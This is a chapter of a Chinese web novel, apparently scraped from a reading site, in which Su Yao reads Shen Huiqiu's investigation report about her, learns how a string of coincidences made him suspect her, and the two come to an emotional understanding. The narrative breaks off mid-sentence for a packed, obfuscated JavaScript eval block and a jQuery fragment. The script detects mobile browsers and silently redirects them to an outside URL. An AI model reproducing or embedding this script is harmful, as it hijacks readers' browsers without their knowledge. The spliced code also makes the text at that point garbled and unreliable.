230. Chapter 230
作品:《是药三分毒》 男人似乎并不是很意外她会发现,沉默片刻,点头,“是。”
苏药想了想,问,“为什么怀疑我?”
男人看她,“我以为你不会问。”
苏药实话实说,“本来不想问,但还是想听你亲口说。”
“如果答案不尽如人意呢?”
“你愿意说,我愿意听,这已经是最好的答案。”
男人难得愣了一下,半晌垂下眼,竟是按着眉心低笑一声,“或许蒋非说得没错。”
苏药疑惑,“非姐说什么了?”
她已经很久没跟蒋非联系过,那天晚上她从这里跑出去,一时气昏了头,没接蒋非的电话,后来想想挺后悔的,这又不是蒋非的错,她不该迁怒到人家身上。
只是她也不知道该怎么主动开口,就纠结着拖到了现在。
男人似是而非的扯起嘴角,“说你这颗总是被各种稀奇古怪的废料塞满的脑袋,偶尔也还能发掘点出人意料的东西。”
苏药,“……”
这肯定不是蒋非说的。
男人却已经重新敛去多余的表情,领着她进了书房。
沈回秋的书房里有个保险柜,苏药一直知道,里面放的都重量级文件,她曾经看见男人打开过一次。
这会儿男人走到保险柜前,动作熟练的输了一串密码。
苏药赶紧转过身,“用不用我先出去?”
上次她还傻呵呵的全程围观,现在才明白,那真是不知者无畏。
下一秒,一只大手搭上她的肩膀,又把她给转了回来。
“不用。”
苏药明知故问,“你就不怕我哪天被沈嫡收买?”
男人眼都没抬,“你会?”
苏药赌气,“说不定就屈打成招了。”
男人点头,“那我倒是拭目以待。”
苏药暗戳戳的撇嘴,说得好像之前没怀疑过似的,正想着,却猝不及防的和男人撞上了视线。
还没翻完的白眼硬生生的停在一半,活像是面部神经功能突然失调。
男人挑眉,“看来苏小姐并不满意这个回答。”
苏药尴尬的摸了下鼻子,“没,只是有点——受宠若惊。”
男人不置可否,重新低下头,继续手里的动作,不一会儿便从里面取出了一叠资料。
资料足有几十页,厚厚的一沓。
男人捏在手里沉吟片刻,转身递给了她。
苏药没敢接,“这是什么?”
“自己看。”
“你确定?”
“我像是在开玩笑?”
苏药只能提醒他,“你应该还没忘记你是从哪里把它拿出来的吧?”
“所以?”
“你保险柜里装的都是什么你自己不清楚吗,你就敢拿给我看。”
万一她看完,这人又后悔了,再杀人灭口怎么办。
男人冷眼看她三秒,深吸口气,像是耐心已经耗尽,也懒得再和她废话,直接把人拎过来,把资料塞进了她怀里,“看!”
苏药一个措手不及,余光刚好扫过封面上的文字,这才惊讶的发现,这竟然是一份调查报告。
关于她的。
她瞬间反应过来,这应该就是沈回秋查到的东西。
她顶着男人的视线迟疑片刻,最终还是硬着头皮一页一页翻了下去。
里面的内容很详细,事无巨细的罗列着她的全部资料,就算让她自己写大概都写不出这么全,从上幼儿园到入职锦大,就连初中时那惨不忍睹的数学成绩都被调查得明明白白。
而有些甚至连她自己都忘记了。
报告的最后还附着一份说明,完整的写出了整件事的始末。
原来早在苏妈妈之前,沈嫡就曾派人找到过李富民,以赞助的名义想要把小白花安排进锦大,估计是想来个久别重逢的戏码,趁机接近沈回秋。
李富民不知其中内情,又被那点赞助费晃花了眼,没多想就点了头。
结果小白花却因为签证的问题延误了回国时间。
主角都没到场,按说事情到了这里也算是不了了之。
然而老天似乎是看戏还没看够,在本该杀青的地方又硬是拽了个龙套进来,按着头强行加了一出戏。
那个龙套就是她。
因为临时空缺出的名额,李富民顺理成章的把她顶了上去。
而沈嫡身边的一个助理刚好和唐翊有些交情,沈嫡的小动作辗转传进唐翊的耳朵,又被着急进组的唐翊仓促的传给了沈回秋。
偏偏谁也没想起来要提一句,这场戏的主角到底是谁。
于是套用一句相当俗套的话,命运的齿轮在这一刻终于开始了它的转动。
报到当天就在沈回秋面前刷足了嫌疑的她。
以及胸有成竹只等着猎物自投罗网,却唯独不知道猎物是谁的沈回秋。
这么一想,沈回秋会怀疑她简直就是再正常不过的一件事。
她始终不相信这世上会有纯粹的巧合。
她知道,沈回秋也不相信。
可这些巧合偏又真实的发生在他们身上,让人啼笑皆非的同时,又不得不去相信命运的真实性。
比如这一街相隔的富人区和老破小,整个锦城都再找不出第二处,偏巧她和沈回秋就成了邻居。
比如她见义勇为救了冯大少的那笔奖金,其实是李富民不忍看她被沈回秋压榨,自掏腰包借着学校的幌子塞给她的,而塞给她的前一天,沈嫡出于长久打算依然把之前约定的那笔“赞助款”打进了李富民的账户。
比如她当初还给沈回秋的那只钢笔,其实是沈嫡偷偷改装过的窃听器,沈回秋借机试探沈嫡,顺势把钢笔“掉”在五河山的医院,刚好被小护士捡到,又被她亲手给还了回来。
再比如沈回秋那么谨慎一人,凡事最讲究证据,偏就在这个节骨眼上浮世出了问题,牵扯住了男人的精力,一时松懈竟然查也没查就坐实了她的嫌疑。
苏药一条条的看完,看到最后已经瞠目结舌,哪怕之前确实有些怨气,这会儿也只剩下一腔深深的无奈。
能怪谁呢?
要怪也只能怪老天安排的剧本实在太强大,就是放在最狗血的电视剧里估计都没人敢这么演。
男人一直安静的看着她,“现在有什么想说?”
苏药张了张嘴,先叹出了一口气,“你竟然把这种东西放在保险箱里?”
她还以为里面涉及到了什么机密,一直看得心惊胆战。
结果就是她的生平履历,外加一份情况说明。
男人不动声色的抽了下嘴角,“这是重点?”
苏药心情复杂,“所以是你专门给我准备的?”
内容写得很详尽,误会也解释得很清楚,有递进,有转折,条例分明,逻辑严谨,一看就是出自这人之手,还特地放保险柜里,总不能就是为了自己没事拿出来翻两眼。
男人沉默半晌,伸手揉了下眉心,“苏小姐的关注点还是这么的——让人叹为观止。”
“这叫独具慧眼。”
“是我境界不够了。”
“……”
苏药最终把资料还给沈回秋,“我以为你不会愿意浪费时间在这种事情上。”
她确实没想到,她以为这人就算愿意给她解释,最多也就是三言两语的解释个大概。
而不是如此正式的,将来龙去脉全都摊开在她面前。
没有丝毫隐瞒。
男人并没有避讳自己之前都做过什么,甚至连那份本可以不让她知道的调查报告也一并给了她。
这反而让她不再那么执着于答案
因为这已经是她能得到最好的回答。
沈回秋微微皱起眉,“你应该得到一个客观并且准确的真相。”
苏药忍不住好奇,“那如果我那天没有听到你们说话,或者我今天没有问呢?”
“它就会一直待在保险柜里。”
苏药一愣,竟神奇的懂了对方的逻辑。
她可以不知道,甚至男人原本也是不想让她知道的,但如果她必须知道,那就不该被敷衍。
不得不说,这逻辑相当沈回秋。
苏药无奈的抹了把脸,“就说我怎么会有这么好的运气,没想到还真是老天开的一个大玩笑。”
她其实应该感谢沈回秋的。
男人完全可以在知道真相的第一时间就随便找个理由把她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288422|149341||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
打发走,却还是选择了沉默,任由她无知又无畏的闹腾了这么久。
“所以后面的那些——都是补偿?”
发现自己折腾错了人,便暗戳戳的想要补偿回来,这也很沈回秋了。
终究是她会错了意。
当真如了老天的愿,把自己活成了一个笑话。
男人语气阴沉,“难道苏小姐觉得我是一个很闲的人?”
苏药迟疑着摇头。
“那又是什么让你觉得,我会因为这种愚蠢的理由浪费自己的时间和精力。”
“可是——”
男人生硬的打断她,“并不是所有东西都必须遵守等价交易的原则,也不是所有错误都会得到补偿。”
苏药茫然的看过去。
男人在稀薄的阳光中与她对视着,“就像不是所有的礼物都该得到回礼。”
苏药愣住。
男人却没再说下去,转身将那沓资料重新放回保险柜。
阳光在对方消瘦的背上拉出一道长长的阴影。
就像一把锋利的剑,一路劈开冷硬的外壳。
露出了一颗柔软的,跳动的心。
苏药沉默的描摹着那朦胧的轮廓。
良久,她听见自己干巴巴的声音在那一片明晃晃的金芒中响起。
“这世上没有如果对不对?”
“对。”
“所以也不存在任何可以重来一次的假设?”
“你想假设什么?”
“假设——我并不认识一个叫沈回秋的人,我没有撞到他的车,没有被他罚去扫厕所,没有被他扔去给大体老师搬家,更没有为了应付他的突然袭击而吃下整整两颗辣椒,辣得好几天都说不出话,我不用整天都泡在作业堆里,不用下班还要被拉着加班补课,不用每天都想着怎么和他斗智斗勇,我的生活或许会和现在很不一样,也或许不会有太大改变,只是不会再有人出现在那个早晨的阳光下,不会再有人为了我不惜和王家撕破脸,也不会再有人和我说,你可以只是你,不用满足任何人的期待,下雪的时候不会再有人听我说秘密,跨年的时候也不会再有人陪我看烟花,我们形同陌路,即便遇到,我也只会恭恭敬敬的喊他一声沈院长,而不是想着这个人怎么又瘦了,是不是一点都没有好好照顾自己——”
说到最后,苏药的声音有些颤抖。
剩下的那半句话最终被她默默咽回了嘴里,她也永远不会知道,原来喜欢一个人竟可以强烈到如此地步。
只要他站在那里,看着他的背影,听着他的呼吸,就可以什么都不再计较。
男人没动。
挺直的背脊看不出丝毫起伏。
低沉的声线却因为窗外盎然的春意而染上了一丝温度,“很精彩的假设,不过很可惜,怕是要让苏小姐失望了。”
男人终于转过身。
清冷的眼底不知何时多了柔和的光,“我们不会集体失忆,也不需要借助这种无能的手段去逃避某些不尽如人意的现实,有些东西不会一开始就存在,但也不会轻易就消失,有时候,接受它远比去设想那些它并不曾存在的可能性要实用得多。”
苏药听到了自己鼓动的心跳。
她知道,这才是男人真正想给她的答案。
有些东西是真实存在过的,不该因为它糟糕的开局就被否定,既然躲不开,忘不掉,那就接受。
接受它存在的意义,也接受它的不完美。
就像他们那永远不可控的人生。
苏药咬着舌尖,刺痛顺着血液一路涌向心脏,她却突然笑起来。
她想,这就够了。
雪会融化,烟花会凋零,夜晚会变成天明,龙套也总有谢幕的一天。
如果这真的是老天给她安排好的剧本。
那她会记住雪里的那个笑容,记住烟花最璀璨的一刻,记住某个阳光灿烂的清晨,她趴在男人背上时的心安。
记住她和这个人演过的所有对手戏。
记住他们的每一句台词。
记住那句注定无法说出口的话。
也记住她曾喜欢上这样一个人,一个并不完美,却让她第一次如此庆幸的人。
至此,无憾。